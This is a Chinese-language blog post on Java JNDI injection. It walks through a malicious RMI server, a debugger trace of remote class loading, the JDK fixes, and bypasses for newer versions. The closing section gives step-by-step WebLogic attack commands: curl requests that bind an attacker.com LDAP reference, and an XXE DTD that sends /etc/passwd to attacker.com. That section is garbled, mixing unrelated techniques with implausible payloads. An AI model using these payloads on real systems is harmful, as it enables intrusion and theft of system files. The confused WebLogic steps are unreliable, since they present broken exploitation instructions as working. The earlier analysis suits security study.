JNDI注入

JNDI注入

简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

具体可参考官方文档,这里不在多叙述

JNDI+RMI利用

JNDI+RMI在JDK8u121之前可利用,而JNDI+LDAP在JDK8u191之前可以,因两者利用流程相似,故这里只分析JNDI-RMI

服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1080);
        Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8000/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
        System.out.println("start");
    }
}

然后将恶意类Test.class放到服务器上,我这里使用python本地起了一个http服务

image-20221115171143303

然后客户端发起lookup请求

image-20221115171311292

触发恶意代码,弹出计算器

image-20221115171344600

流程分析

在客户端调用的lookup方法打断点进行调试

image-20221115171434480

首先会调用InitialContext#lookup()方法,这里会根据协议头调用不同的lookup()方法

image-20221115171459482

getURLOrDefaultInitCtx函数会分析name的协议头返回对象协议的环境对象,这里会返回rmiURLContext

image-20221115171738652

接着会调用rmiURLContext的父类GenericURLContext中的的lookup方法,此方法最终会调用JNDI中处理rmi的RegistryContext中的lookup方法

image-20221115172818002

接着跟进,会发现其调用了RegistryImpl_Stub的lookup方法,即调用了原生RMI的lookup接口,那么对rmi的攻击方法-反序列化,在这里也可以使用

image-20221115173942334

很明显JNDI注入不会仅仅如此,我们接着往下看,this.registry.lookup()会返回一个ReferenceWrapper_stub()对象,这个对象显然就是我们服务端绑定的ReferenceWrapper,而它是经过编码的

image-20221115174928046

接着调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject()进行解码,会进入NamingManager.getObjectInstance方法,此方法为静态方法,且位于一个公共的类javax.naming.spi.NamingManager,目前为止,我们的恶意类还并没有被加载,但已经走出了JNDI对rmi处理的RegistryContext类,借此可绕过后续官方对jndi-rmi的修复

image-20221115175925355

而在此方法中,调用了getObjectFactoryFromReference()方法,去获取对象工厂

image-20221115180029034

我们跟进去看一下,其首先会尝试在本地进行一个类加载

image-20221115181635119

这个loadClass使用的是APPClassLoader,显然它是加载不到的

image-20221115181934239

接着往下走,如果前面没有加载到,这里就会尝试从远程地址(codebase)进行类加载

image-20221115182142488

这里会实例化一个URLClassLoader从指定的url中去进行类加载

image-20221115182501019

这是一个进行初始化的类加载,那么静态代码块static中的代码将会被执行

image-20221115182832536

继续往下走,会实例化获取到的远程对象,此时类中的构造方法会被执行

image-20221116122201306

上面两处均可触发我们构造的恶意代码

版本修复

  1. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,修复了JNDI中RMI引用类远程加载,但存在别的利用方式

  2. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true,修复了JNDI中RMI动态类加载

  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false,修复了JNDI中LDAP的引用类远程加载

高版本绕过(待补充)

那么在JAVA高版本默认禁止引用类远程加载之后,JNDI注入还能如何利用呢?

既然不能远程加载恶意类,那我们可以尝试利用其本地的环境,这里还有两种利用方式,都非常依赖受害者本地中的环境,需要利用受害者本地的Gadget进行攻击:

  • 反序列化
  • 本地工厂类

反序列化

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。利用限制就是需要本地有反序列化

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

本地工厂类

既然在高版本中不能冲远程加载恶意工厂类,那我们可以尝试加载目标本地的恶意工厂类,但是这个恶意工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值